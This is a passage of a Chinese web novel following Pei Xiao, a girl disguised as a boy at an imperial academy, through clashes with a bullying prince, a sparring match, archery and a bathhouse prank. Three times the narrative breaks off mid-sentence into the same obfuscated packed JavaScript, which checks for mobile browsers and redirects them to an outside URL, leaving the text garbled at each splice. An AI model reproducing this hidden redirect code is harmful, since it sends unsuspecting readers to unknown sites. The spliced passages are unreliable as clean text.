只见夏清泽拍了下桌案,接着怒骂道,“我看先帝还是太仁慈了!”
学子们跟着议论起来。
“就是啊,凌风敖害了多少人哪。”
“现在那三城都还在狄族手里呢。”
“听说凌风敖还活着,在狄族朝廷当大官呢。”
......
凌风敖在北境更是声名狼藉,人人唾弃,裴逍面上虽还算平静,但心里也涌上了愤恨之情。
阮柏聿看了眼那角落里的少年,抬手示意学子们静下来,接着道,“先太子求情,先帝震怒,将先太子罚到江南圆觉寺禁足反思。”
“谁料,没过多久,先太子遭到刺杀薨了。”
“先帝忧急之下病笃,濒危之际,下诏传位给六皇子和王,也就是当今圣上,并赐婚定国公女窦氏为后,丞相女林氏为妃。”
“当今圣上即位后,继承太宗、高宗和先帝遗志,勤政爱民,重视人才教育,君臣同心,百姓安乐,四野番邦纷纷称臣上贡,朝政已有当年盛唐时之气象。”
“诸生当此盛世,又值锦绣年华,应不忘前耻,勉励自强,方不辜负我朝先祖前辈所付出的努力啊。”
悠扬古朴的钟声响起,仿佛敲在少年们的心上,这钟声此刻与旁时似有不同,少年们恭敬起身行揖礼。
阮柏聿又看了眼那角落里的少年。那少年虽还算平静,但到底年少,愤恨的情绪还是露出了些许。他轻叹了口气,转身离开。
·
午后是礼乐课。
钟声响起,裴逍蓦地睁大了眼睛。
授课先生是坐在有轮子的木椅之上,被人推着进来的。
那先生虽然腿有残疾,却似乎毫不在意,面色恬淡自如,一派风雅。他眉眼长而舒朗,唇角含笑,端得是一番好相貌,不禁让人好奇,如若双腿无疾,又该是怎样一个芝兰玉树的有匪君子。
礼乐课也是二年生新开设的,学子们从那先生进来便开始小声议论,随后声音越来越大。
“双腿残疾还不在府中好好待着,跑出来丢人现眼!”突然,嘲讽的声音响起,盖住了学子们的议论,课室里瞬间安静下来。
夏清泽语气嚣张,似乎完全没将先生放在眼里。
其他学子虽然也有心里对那先生鄙夷的,但到底顾念这里是国子学,没有人敢像夏清泽这么肆无忌惮地出言冒犯师长。
台上授课先生淡淡看着夏清泽,未发一言。
清朗的少年声突然在课室后面响起,“相鼠有体,人而无礼!人而无礼,胡不遄死?”
她话音落,先是坐在最前面的林致远轻笑了一声,随后其他听懂的学子也开始低笑起来,有的惧怕夏清泽平王世子的身份,只得偷偷憋笑。祁青阳将手抵在唇边,但笑意还是透过一侧酒窝显露了出来。夏慕卿和百里摇光就不怎么给夏清泽面子了,直接放声大笑起来。
夏清泽不学无术,没明白裴逍这是在说什么,但他听到无礼啊死啊的,也能明白不是什么好话,在加上其他人这样的反应,他登时恼怒,腾地站起瞪着裴逍斥道,“你说什么?!”
“哦,我在背诗啊,《诗经》鄘风中《相鼠》的这首。”说着,裴逍又念了起来,“相鼠有皮,人而无仪!人而无仪,不死何为?——”
“你——”夏清泽明白过来这裴逍是借诗讽刺他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799995|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,待要大声责骂,此时一个声音响起,打断了他。那声音来自成熟男子,威严醇厚,声音中有着长期处于上位者的威压和气势。
“坐下!”
夏清泽一愣后不自觉地就顺从坐了下来,其他学子也都安静下来,不敢再造次。
那先生见诸生安静下来,淡淡笑了一下,这一笑,适才压迫人的那股气势瞬间消散。
他开口说道,“这节课是礼乐课,我们首先讲礼。刚刚家侄已现身说法,展现了负面,大家应该切记,不可如此。”
他说完,学子中又响起了笑声。裴逍心里却想到,适才这先生称夏清泽为家侄,夏清泽是平王世子,那这先生的身份是亲王?
先帝共有七子,二皇子、七皇子幼时夭折,先太子排行第四,狄族入侵那年为谢太傅求情被罚到江南后遭刺杀薨了。如今还健在的,只有大皇子安王,三皇子平王,五皇子康王,以及六皇子和王,也就是当今圣上。夏清泽是平王世子,那这先生看来应该是安王或者康王了。
夏清泽怒视了一圈,用眼神警告发笑的学子,笑声渐渐低了下来。
那先生徐徐道,“诸位学子,今后由我来为大家讲授礼乐课,诸位称我时先生就好。”
介绍完,他便开始授课。这节课主要在讲礼仪典制,时先生声音清雅,所讲内容也生动有趣,一节课的时间过得很快。
钟声响,众学子起身揖礼。门外,有人特意等着,下了课进来推时先生出去。
·
“裴逍!”夏清泽回头怒瞪着裴逍,大喊了一声,起身准备秋后算账。
门口时先生的随从突然指着裴逍高声说了一句,“那学子,时先生有请。”
裴逍觑了夏清泽一眼,走出课室。
“随我走走吧。”时先生道,说着,他示意随从推他向国子学门外走去。
裴逍点了点头,跟在旁边。
“你方才课上,为何替我说话?”时先生突然笑着问。
裴逍垂了眸,纤长的眼睫遮住了眼中的哀痛,半晌方才低声道,“学生家父,亦是如此......”话音落,时先生猛地抬头看向裴逍。
裴逍低头不语。
从她记事起,父亲便是坐在轮舆上。师娘说,父亲当年为逃过仇家追杀,抱着她躲在隆冬时节冰冷的河水之中,后来被师父救回,双腿便落下了残疾。但父亲许是不想裴逍背负过多仇恨或负累,只说他是得了病伤了双腿的。
时先生轻叹了一声,“清泽被三皇兄惯坏了啊”。
“三皇兄?如此看来,时先生应当是康王了。”裴逍心中想到。
康王没再言语,裴逍一路陪同走到了国子学大门口。
这时,对面女学里,突然跑出来一个清秀、温婉的姑娘。她到康王面前站定,双手将一个药瓶捧到康王面前,笑着说,“康王殿下,此药外用。”
“多谢林姑娘。”康王接过笑回道。
那姑娘便离开了。
康王回头看向裴逍,语气温和道,“多谢你送我一程。”
“应该是学生谢先生替我解围。”裴逍端正揖了一礼,她心里清楚,康王是怕夏清泽为难她,才叫了她出来的。
康王轻笑了声,随即招了招手。一个体格健硕的仆从走来,从轮舆上将他抱起,放入了停在国子学门口的马车中。
马车徐徐开走,裴逍方才回转。
·
此时是自修时间,裴逍打算去典籍楼。
经过校场门口,裴逍突然感觉到头侧有东西正向她袭来。
8. 第8章
裴逍下意识侧头躲避,片刻后,却没见到那物飞过来。她扭回头看去,只见不远处,其他少年各自在活动,只有夏清泽站着不动,愣愣地盯着一个方向。
裴逍顺着他看的方向望过去,只见一把剑穿透一个鞠球刺入了校场边的石壁。
原来是夏清泽拿鞠球砸她,被人用剑拦截了,那剑闪着寒光,看起来有些熟悉。
“走路小心些!”
百里摇光从裴逍面前走过,没有看裴逍一眼,只抛下了这么一句,便径直去那石壁旁拔剑。
夏清泽记恨着礼乐课上,裴逍给他难堪,见裴逍经过校场,便想要踢球偷袭裴逍,给他一个教训,却不料被百里摇光阻拦。
一计不成,他看着那掉在地上已被戳了个透心凉的鞠球,又生一计。
“裴逍!你敢不敢跟我比试蹴鞠?”他喊住准备要走的裴逍,翘着鼻孔说道。
“不会。”裴逍想也没想,面无表情丢下这么一句便要离开。
夏清泽没想到裴逍一点不担心失了面子,轻易就说了自己不会蹴鞠。他倒是一时不知如何继续他的计划。
他的小跟班虞砚早已跟了过来,见状,在他耳边小声说,“这裴逍文弱,不如约他比试武艺。让严铮跟他比,也能趁此替你出出气”。
夏清泽听此,觉得甚合心意,便指着他身边一个魁梧健壮的少年,冲着已经走了几步的裴逍喊道,“既然你不会蹴鞠,那就跟他比试武艺。敢不敢?”
裴逍停下脚步,转回了身,她扫了夏清泽身边那魁梧健壮的少年一眼,心中思索道,这夏清泽看来是铁了心要让她吃点苦头,提出和她比试武艺,怕是一方面想着挽回自己在礼乐课上失去的颜面,另一方面也想着靠武力顺便教训自己一番,不让他就此死心,怕是还会再生波澜。
如此想着,裴逍冲着夏清泽几人回应道,“自然奉陪。”没等对面开口,她又接着说,“不过既然是比试,那赢了如何?输了又如何?”
“哈哈哈哈。”夏清泽身边几个少年没想到裴逍应得这么快,更没想到裴逍还敢妄想自己赢了怎么样,指着裴逍一阵哂笑。
裴逍没有言语,只淡淡看着他们。
见裴逍如此,几个人反而有些没意思了,渐渐止住了笑声。夏清泽指着国子学大门的方向说,“谁输了,就去女学门口跪下,大喊三声‘我是臭流氓’!”
果然像是这几个人能想出来的赌注。裴逍眯了眯眼,心下一片鄙夷,但还是应了声,“行!”
“那就说定了!”
“到时你可别反悔!”
“输了可别哭!”
夏清泽身边几个少年纷纷道。
裴逍没有理会,只将目光投向夏清泽身边那少年。
那少年身形壮硕,个头比百里摇光还要高些,他见夏清泽对他点了点头,上前一步,指着武艺练习区域的兵器架方向,对裴逍说,“那里武器任选”。
裴逍顺着他所指方向看去,见兵器架上刀枪剑戟十八般武器样样齐全,她稳步迈去,没有犹豫,直走到最边上取了一根木制长棍。
那壮硕少年许是见裴逍文弱,所选武器杀伤力也不强,便也没有选杀伤力太强的,只选了条长鞭。
·
两人站到了校场的一处空旷高台上,分列两侧,摆开阵势。
校场上的学子们见有人比试武艺,纷纷围过来看热闹。
那壮硕少年拱了拱手,洪亮的声音传到裴逍这侧,“在下严铮。比试规则,谁先掉下台子便为输,你可同意?”
裴逍点了点头。出了难凉寨,她其实很少与人动手,所以对于面前的严铮,也并没有十足的把握能取胜。她只是不想夏清泽因为礼乐课上的事再盯着她,即便输了,对她来说也没什么关系。至于那赌注,裴逍全然不在意,她在这京中本就没什么人识得,也不可能与女学的学子说亲,即便当众丢脸,又有何妨。
她看着对面的严铮,心中只想着这少年体格健壮,或许可以灵巧性取胜。
裴逍刚刚想定,严铮的长鞭已疾风般地袭近她的前胸,她急速向后退开几步,躲过鞭子的当胸一击。
在严铮收鞭之时,裴逍将长棍一翻,收至臂后,几个旋转飞跳迅速接近严铮,同时双手飞速旋转舞动长棍挡开鞭子的第二波攻势,又是一个弯腰旋身飞跳,斜劈一棍,袭向严铮肋侧。
严铮没料到裴逍反应如此之快,不仅避开了他的攻击,还能迅速反击,躲闪不及,生生挨了一棍。
他迅速后退欲拉开距离,好施展长鞭。
不料裴逍却不给他这个机会。在他后退之时,裴逍也舞棍紧跟,始终保持在长鞭施展不开的距离内,严铮只得用拳脚阻挡长棍攻击。
如此几次,严铮便直接弃了鞭子,赤手空拳跟裴逍对抗起来。
而当他弃了鞭子以后,裴逍持棍进攻的距离却又远开了些,恰好在裴逍长棍易舞,而他拳脚难以攻击到裴逍的距离。
严铮虽然心中暗骂裴逍狡猾,却也无可奈何,只得先防御。
裴逍见严铮的位置已经临近高台边缘,运着长棍一阵劈刺拦挑扫之后,支起长棍借力,向着严铮胸口位置一脚飞踢,严铮便向后倒去。
在那严铮将向台下倒去的瞬间,他却突然用力抓住了裴逍袭击他的小腿,想来个同归于尽。
裴逍被严铮拽着腿,身体整个向下劈了半尺,眼看着就要一起被拉下台。
围观的学子中响起惊呼声。
裴逍长眉轻扬,拨起支在台上的长棍,冲着严铮的胸口又来了一记“回马棍”,严铮吃痛,抓着裴逍小腿的手,力道随之放松,加上这一棍袭向他的反力,使得裴逍脱离了严铮的桎梏。
“咚”地一声,严铮摔落在台下,荡起了校场上的尘土。
而裴逍一个旋身收腿,在台上立稳,长棍竖直收在右臂后,端的是一派潇洒风流。
台下顿时喧闹起来,一片叫好声。在旁边观看的,都是些十几岁的少年,见裴逍身手好,动
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799996|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作漂亮,形象气韵也清俊飘逸,又是惊叹,又是羡慕。
当然也有不太高兴的,以夏清泽为首的那几个少年扶起严铮,气急败坏地瞪着台上的裴逍,发泄着不满。
“让他嚣张,有他好看的时候!”
“话说严铮身手在咱们二年生中,也就是百里摇光那练过武艺、上过战场的打不过,其他人都不在话下,却没想到会输在裴逍那小子手上。”
严铮倒没有过多反应,只揉着胸口道,“根本不是他的对手,他应该都没有很认真的比试。”
夏清泽惊得皱起了眉头,想到用武力威慑裴逍的法子是行不通了,还得想点别的法子。
他见那裴逍走下台,朝着他的方向走来,突然想起了自己是和裴逍打赌来着,这下麻烦了。
“你们输了。”裴逍在他面前站定,淡淡开口。
夏清泽下巴收了下去,鼻孔不再对着人,只将两只吊眼瞪向裴逍,一脸恼怒,默不作声。
他身旁的虞砚忍不住开口,“那又怎么样?你难道还非要平王世子跑到女学门口去履约?那里都是京中贵女,去那里一喊,很快传遍京中女眷不说,以后京中怕是没人敢嫁他了,你难道要平王一脉皇室血统绝后?”
周围学子们听到低声议论起来。
裴逍冷笑一声,尚未言语,人群中突然一道清朗的少年声响起。
“哎呀!我听说这赌注是夏清泽自己提的呀。”夏慕卿摇着折扇,走到人群前面,徐徐道,“怎么?他自己提的,却自己都做不到吗?堂堂平王世子刚下的赌,顷刻就不认了,这传出去怕是京中女子们也不敢嫁了吧?万一前日刚订了亲,后日就悔婚,那不害了人家吗?”
夏慕卿想在棋室等裴逍来了跟裴逍切磋棋艺,久久等不到裴逍,就找了出来,恰好看到裴逍和严铮比武。他在人群里听说了这几个纨绔提出的不公平的比试,输了还不认账,便忍不住开口替裴逍出头。
夏清泽瞪了他一眼,二人都是亲王世子,也是堂兄弟,却谁都看不上谁,从不在一起玩乐,向来也是井水不犯河水。可这次夏慕卿却给裴逍那新来的小子出头,夏清泽心中实在着恼。但是他已经提出比试,现在骑虎难下,若是不答应,言而无信,虞砚他们几个私下怕也不服他。可若是答应,他又觉得实在丢脸。
正犹豫间,他突听裴逍说道,“既然这个赌注不愿履行,那就换一个。”
几个纨绔少年眼中闪过一丝希望。
“下次礼乐课,请平王世子就今日课上的失礼行为,向时先生赔不是。”
夏清泽稍松了一口气,换这个赌注,至少不会丢脸丢到国子学外面去,旋即他心中又一紧,要给康王那个残疾皇叔低头,他心里总觉膈应,但现下他也没有别的办法,只能沉着脸“嗯”了一声应了。
裴逍见他应了,没再理会那几人的反应,转身向校场门口走去。围在四周的学子自动地给她让出了条路。
却有一人没有让开,挡在了裴逍前面。
9. 第9章
“可否与我切磋一番?”百里摇光双眼凝住裴逍问道。
他在人群中也看了裴逍与严铮比试武艺,心中暗暗称好,但是他想与裴逍切磋的原因,倒不是想较量,而是他方才在台下看到裴逍对阵时所使用的武功招式,觉得有些熟悉。
裴逍虽然拿着长棍,但使的是枪法,且是军中兵士训练所用枪法。这让他又想起了难凉寨大雨里的那个少年,而且他第一次见裴逍就觉得像那人。百里摇光想要再确认,所以便提出比试,好趁此机会试探一下。
“没兴趣。”
裴逍绕过百里摇光便要走,突然一计掌风袭来,裴逍急向前凌空翻了一个跟斗避开。
她回过身来,百里摇光第二次攻击已到,裴逍伸手格挡回击,两人便如此交起手来。
原本在围观比武的学子就还没散开,此时见又打了起来,其中一人还是在京中名头响亮的“百里少将军”,更多的学子朝这处围了过来。
那夏清泽见裴逍竟能在百里摇光手下过上几招,才深深意识到他方才提出和裴逍比试武艺是多不明智。
裴逍和百里摇光两人直打了十来回合,未有胜负。
夏慕卿见四周围观学子越来越多,担心惹出什么麻烦,便运轻功施展身形,跃到两人中间,抬手制止。“停下!停下!你们在这里切磋,若是被监丞和祭酒以为是在殴斗,就不好了!”
两人方才停了手。
“你就是难凉寨里那人!”百里摇光指着裴逍大声道。
裴逍心下一紧,但面上不动声色,只淡淡道了声,“不知道你在说什么”,便转身离开。
百里摇光还要追上去,被夏慕卿拦住,“什么难凉寨那人?你怎么没跟我说过?”
围观的学子见热闹结束,纷纷散开,裴逍在他们的掩映下已经走远,百里摇光有些恼火地敷衍回道,“没什么。”
·
“咚咚”扣门声响,裴逍起身,打开斋舍门。
祁青阳手中举着一个湿淋淋还在淌水的东西,出现在门口。裴逍定睛看去,那是一卷纸,几乎已经全部被打湿了。
“我在湖边看到了这个课艺本,虽然已经泡得很严重了,不过封面上依稀能辨别出你的名字,不晓得怎么在湖里飘着,我就捞了出来,带来问问你。”
裴逍接过那湿漉漉的课艺本,这卷本里面是她的算学课艺,留在课室里给那几个纨绔抄的,他们说抄完了帮她一起交给先生,结果却到了湖里。
裴逍冷哼了一声,“是我的,应是被人故意扔进了湖里。”
祁青阳也想通了前因后果,面带愧色道,“你是帮我解围才招惹上那些人,实在对不住。”
“没事,我再写一份。”说着,裴逍接过祁青阳手中的纸卷,就打算合上门。
“对了。”祁青阳又从衣袖里取出了一个小瓶,递过来道,“你今日在校场上与他们比试武艺,我看到了。你的手是不是受伤了?这个伤药,是我找医舍的兰惜姑娘要来的,涂在伤处就可以。”
裴逍愣愣看着那药瓶,半晌没有动作。
“裴逍?”祁青阳轻声提醒。
裴逍方才接过,低低道了声,“多谢。”
“这没什么的,你也帮了我许多。不过以后,还是小心些为好。平王世子他们,我们还是尽量避开吧。”
祁青阳离开,裴逍又坐回了桌案前。
她打开药瓶,一股药味从那瓶子中散出,裴逍闻了闻,而后将药膏轻轻涂在了左手掌上与拇指临近的红肿处,那是下午与严铮对打挡第二波攻击时,被鞭子抽到的。
药膏涂在伤口上清清凉凉的,裴逍却感觉到有一点暖意在心中升腾。
·
百里摇光回到斋舍的时候,裴逍找了个新的卷本,重新写起了算学课艺。
他见裴逍没理他,径直坐在了裴逍的桌案一旁,侧头盯着裴逍。
裴逍抬头扫了他一眼,见他眼中满是探究,没说什么,低了头继续书写。
“你为何来国子学?”
回答他的只有裴逍落笔的沙沙声。
“你想要给难凉寨的人报仇?”
裴逍停了笔。
“来国子学自然是为求学。至于其他的——”裴逍抬头看向百里摇光,冷冷道,“我听不懂。”说完,她又低了头继续写算学课艺。
百里摇光嚯地一声站起,严肃说道,“你不承认也没关系,但我告诉你,难凉寨被剿灭,虽然手段是残忍了些,但山寨中人确也做了错事,算不得多冤枉。”
裴逍猛地抬起头,杏眸怒瞪。
百里摇光的眼中却闪过一丝悲悯,“所以,你没什么可报仇的,不如珍惜这条性命,好好活着。”
裴逍手指紧捻了下笔,强迫自己控制情绪,低了头,一边运笔写,一边淡淡道,“早就说你认错人了。”
百里摇光叹了口气,在原地盯着裴逍头顶看了会,见裴逍油盐不进,取了盥洗用物,出了斋舍。
当晚,裴逍再次从噩梦中惊醒饮酒时,百里摇光没有起身,只冷哼了一声,嘲讽道,“昨夜是喊父亲父亲,今夜又是阿泽阿泽,惦念的人倒是不少。”
裴逍没有理会。
·
次日一早是骑射课。
授课先生三十来岁的模样,身形魁梧,威风凛凛,一双虎目格外有神。
他拱了拱手,开口道,“诸位,我是骑射课的授课先生,夏坤安。以后我来给大家教授指导骑射,诸位叫我安先生就行。”
姓夏?又是一个宗室。之前听说大夏王爷不参政无实权,看来果是如此,不然也不会一个两个都跑来国子学里当授课先生了。裴逍心里想到。
“你小子给我站好了,蔫吧唧唧地像什么样子!”夏坤安突然指着一个方向怒斥。
裴逍看过去,原来是在说夏慕卿。
夏慕卿站得松松垮垮,脑袋歪向一边,似是很不耐烦的样子,尤其他旁边的百里摇光站得端肃挺拔,越发衬得他散漫。听到先生训斥,夏慕卿撇了撇嘴,略微站直了些,夏坤安才移开了目光。
这一科是二年生才开设,虽然很多世家子弟从小在家中,便有长辈或聘请先生教授过弓马,但也有不少学子之前未接触过弓马,所以安先生便从入门开始讲起,给学子们详细讲解了动作要领,然后让学子们自己练习,他从旁指导。
箭靶有限,所以二十多个学子便分开,排在了十来套箭靶器械前练习,大概两三个人轮流使用一套工具。
裴逍站在一套箭靶前,祁青阳跟在了她后面。
裴逍当先张弓搭箭,动作迅捷,姿态劲挺,整个人看起来像是一支待发的箭,气势凛然。她一箭射出,正中靶心。
几个在旁边练习的学子看到了纷纷惊叹,越来越多的学子看了过来。就连安先生也被吸引了过来,站在边上看着,暗暗叫好。很多新上手的学子,箭根本都上不了靶子,在半空就落地上了,有些之前接触过的,也就是偶尔碰运气才能射中靶心一次。裴逍看着文弱单薄,却是一箭就射中了靶心。
裴逍又接着搭弓射箭,一箭一箭密密挨着,全都插在了靶心的小块区域中。
越来越多的学子凑过来看她射箭,不时在悄声讨论。
“这个新生箭技好强!”
“这箭技可以和百里摇光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799997|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一拼!”
“不知道他和百里摇光谁更胜一筹。”
百里摇光听到学子们议论纷纷,停了手,侧头看裴逍射箭,只见裴逍搭弓引箭,姿态挺秀端直,动作行云流水,像是个老手。她看起来清瘦单薄,但是发箭却凌厉果决。
百里摇光桃花双眸霎时闪过光芒,随即又叹了口气。
夏清泽看裴逍射了几箭,每发必中,而自己射的箭离靶心要多远有多远,只能说射在了靶上。他冷哼一声,将弓箭丢给了在他后面的虞砚。
裴逍始终旁若无人,专注射完十箭后,去箭靶的位置拔了箭,连弓一起给了祁青阳。
“裴逍,你这箭无虚发啊!”祁青阳接过弓箭,称赞道。
裴逍没有言语,只点了点头。
不少学子想着裴逍射完,没什么可看了,就陆续回去自己位置。有几个还没来得及走开,恰好看到第二个射箭的祁青阳箭技竟也不俗,更是惊讶。
祁青阳从箭囊中抽出一箭,拉满弓,“咻”地一声箭离弦飞出,瞬息间那箭靶中心便插了一箭。似此,他又射了九箭,箭箭中的。
射完后,他去箭靶处取箭,裴逍跟去一起取箭,走到箭靶旁,看到箭身没入箭靶深有几寸。她在祁青阳拔箭放入箭囊的间隙,也伸手拔箭,却是一下子没拔出来。裴逍心中暗自感叹,
祁青阳不仅箭技准,这力道也是颇大。
她多使了几分力,才将那箭拔出。
“不错不错,少年可期啊。”安先生大笑着走过来,拍了拍裴逍和祁青阳的肩膀。
裴逍拱了拱手没说话,祁青阳揖礼谦虚回道,“侥幸而已,先生谬赞”。
安先生笑着点了点头,走去指导其他学子了。
·
自修时间,裴逍去了典籍楼。
典籍楼从外面看,像座宝塔,高有六层,地上五层,地下一层。门上有先帝亲笔所题匾额。
一二层的布置形式是一圈博古柜围绕,中间有案几,供人坐着研读。三层往上则全是博古书架,一排排陈列着,摆满了书卷。地下一层也是这样的布置。
典籍楼收藏书籍众多,京中官员也时常会来这里找寻典籍。
裴逍在第四层,找到了夏慕卿之前所说的《国子学历届学子优秀诗文集》。她翻看诗文集,果然在其中找到了署名“天福十二年国子生裴晔”的诗文。
裴逍一一仔细翻阅裴晔的诗文,找到了课上她所念的那首,确实如夏慕卿所说只有前两句,另有几首,也曾见父亲写过或念诵过。
她合上书卷,陷入了沉思。
她相信以父亲的品性,不会将别人的诗作借来说是自己所写,况且这里面和父亲念写过的诗重合得也不止一首,那有极大的可能——父亲就是裴晔!
国子学入学会严格审查户籍文书。她的户籍身份便是当时要入县学读书时,师父托了他在雁城县衙的关系,找人帮她办的,当时还给父亲补了“裴秀”这个身份的户籍文书。
如此看来,裴晔可能才是父亲的真实身份,而裴秀只是他的化名。
也就是说,父亲在天福十二年入国子学,在国子学中结识了阮先生,后来在天福十五年中进士科榜首之后,远离京师,带着她逃到了千里外的边境雁城。
当时到底发生了什么事?
父亲又是为了躲避什么仇家?
一年前难凉寨被剿灭,会不会也是那仇家所为?
·
裴逍带着满腔的疑惑,从典籍楼往回走。
走到园林区的小径,裴逍听到周围有响动,仿佛有人躲在附近,她停了脚步,突然两侧里有凉水泼来。
10. 第10章
几桶凉水泼来,裴逍瞬间从头到脚被浇透。
水滴滴答答地顺着裴逍的头发衣袍往下淌,她听到几个人快速跑开的动静。
裴逍闭目呼了口气,抑制自己的愤怒,不用想,都知道是什么人干的。
她拧了拧衣袍上的水,将衣袍扯宽敞些,幸而她年纪尚小,又缠紧了裹胸布,此时还不会被人看出来身份。
·
裴逍湿拉拉走上台阶,房门大开着,里面夏慕卿正坐在斋舍圆桌案旁,看到裴逍全身湿透,问道,“你这是怎么了?”
“被几个纨绔暗算了。”
百里摇光突然出现在门前,险些撞到要进门的裴逍。他上下看了裴逍一眼,开口道,“现在天气还有些冷,你快去沐浴换了干的衣物吧。”
语气竟是难得的平和,裴逍疑惑看向他。
百里摇光躲开目光,移步让开门口,换了副幸灾乐祸的语气道,“没想到,你也有今日。”
裴逍觑了他一眼,没有言语,径直进了屋。
夏慕卿问,“你今日怎么没去棋室?我一直在等你呢。”
裴逍淡淡回道,“今日不想下棋。”
她在斋舍里慢腾腾收拾了衣物,想拖些时间等那些学子都洗得差不多了,再去沐浴。
稍晚些,她去了沐浴房旁边的柴房,里面一个院工大娘正在烧火。
“我看今日同窗们差不多都沐浴完了,大娘回去歇息吧。”裴逍道。
“公子还没沐浴吧?小人帮您烧了水再走。”
“大娘不必麻烦了。我沐浴对水的冷热比较挑剔,我自己来烧水好了。”
“那也无妨,公子告诉小人要求,小人来烧便是。”
“真的不用了大娘,我这要求太多不好细说。”
“这样啊,那就辛苦公子自己动手了。”
那大娘离开,裴逍坐到炉火边,后面陆续来了几个学子,裴逍烧了水,放在门外。
裴逍这些天,每每是等到人都洗完了才来洗,烧水大娘也都离开了,她自己烧水沐浴,是以已经做得很熟练。
再晚些,见许久没有学子再来沐浴,裴逍方才提了水到旁边的沐浴房中。
沐浴时,裴逍非常警惕,她会穿着中衣,把外衣就放在离自己很近伸手就能抓到的地方。沐浴房里帘幔悬垂,此时已没人了所以也没有很多雾气。
她找了个角落就穿着中衣洗,先把无衣物遮挡部分洗了,然后在水下快速掀开中衣清洗衣裳遮挡的部分,最后再洗头。
就在头发快洗好之时,裴逍突然听到有响动声,似乎是来自窗边。
裴逍警惕起来,她抬手摸到放在浴桶边上的弹弓和石子,迅速将灯烛击灭。这是她放着以备意外情况发生的,没成想这么快就派上了用场。
趁黑暗之际,裴逍迅速伸手抓起衣袍,起身一下子披在身上,轻轻迈出木桶,闪身躲在浴桶旁。
她听到有人摸黑进来,挪到了这边,离她越来越近。星星点点的月光映照下,裴逍见那人抬手在她方才放衣物的地方摸索。
裴逍心里冷笑,敛息靠近,一个手刀,将那人劈晕。随着那人倒地,一物从他手中掉落,裴逍摸了一下,像是麻绳。随后,她仍旧躲到之前的位置。
一会儿,又有人摸黑进来,挪到了方才那人的位置,身体碰到了倒下的人,突然大叫起来,“鬼啊鬼啊!”
外面有几个人同时冲了进来。裴逍冷哼一声,用弹弓在房间中乱射几处,发出声响,那几个人摸不清情况,只觉得害怕,跟着大叫起来。
裴逍趁乱起身,推开后窗,翻身跃了出去,拣了条人少的路,绕回斋舍。
附近不少学子听到喊声,都往沐浴房这边赶过来。裴逍现下衣容未整,恐被人撞见猜疑,便翻上屋顶,从上面悄悄往斋舍挪去。
行至斋舍,见一人从她斋舍里鬼鬼祟祟跑出来,看身形,不像百里摇光和夏慕卿,裴逍没认出来。待那人离开,裴逍跃下,进了斋舍。
百里摇光没在斋舍里,可能是被喊声吸引过去了。
裴逍忙换了衣衫,倒在床上,扯住了帐帘。
过了一会儿,裴逍听到院落里响起了夏慕卿抱怨的声音,“夏清泽那几个人也是有病,大晚上好好的不睡觉,跑沐浴房里鬼叫,让人不能好好休息。”
“裴逍去沐浴去了好久,方才也没见在沐浴房里,到底去哪了?”百里摇光的声音。
“是不是回斋舍了?”祁青阳道。
房门开了,三人走了进来。
“还真在斋舍。”夏慕卿道。
“怕是已经睡了,我们小声些吧。”祁青阳道。
裴逍轻出了口气,心想定又是那几个纨绔算计她,先是用凉水泼她,逼得她不得不沐浴,而后又在她沐浴时,想要拿走她的衣物,将她绑起来。若今日不是她,而是其他不会武的学子,恐怕明日就会被人发现赤身裸体缚在什么地方,在国子学中丢尽了脸。
·
夜半,裴逍又被噩梦惊醒。
她伸手摸枕头里侧的酒瓶却没有摸到。夜里那个鬼鬼祟祟从斋舍里跑出去的人影突然浮现在裴逍脑中。看来酒瓶被人拿走了,那她饮酒的事情可能也会被告发。
百里摇光也醒了,不过他已经见怪不怪,悠悠道,“奇了,你今日怎么不喝酒了?”
裴逍翻了个身,没有理会。
“说起来,你的箭术和武艺当真不错,你是师从何人啊?”百里摇光问道。
师父的面孔浮现在裴逍眼前,裴逍没有回答,暗夜中,她扯起嘴角,露出了一个极为苦涩的笑。
百里摇光许久听不到回答,迷迷糊糊睡了过去。
·
次日一早算学课,宗先生脸色沉沉地走了进来,一站定,便喊,“夏清泽、虞砚、蒋成、严铮、李胤甫,你们几个怎么回事?课艺写得一模一样,连错的都一样!”
被喊到名字的几个纨绔怔忪地站了起来,还没明白到底发生了什么,就被宗先生训斥了一番。
随后,宗先生又夸赞了几位课艺完成得好的学子,“还有这位裴逍同学,做得非常好,全都正确不说,且整齐工整、步骤清晰。”
听到此,夏清泽、虞砚几人互相对了对眼,顿觉奇怪,明明他们已经将裴逍的课艺给丢掉了,怎么宗先生还收到了他的
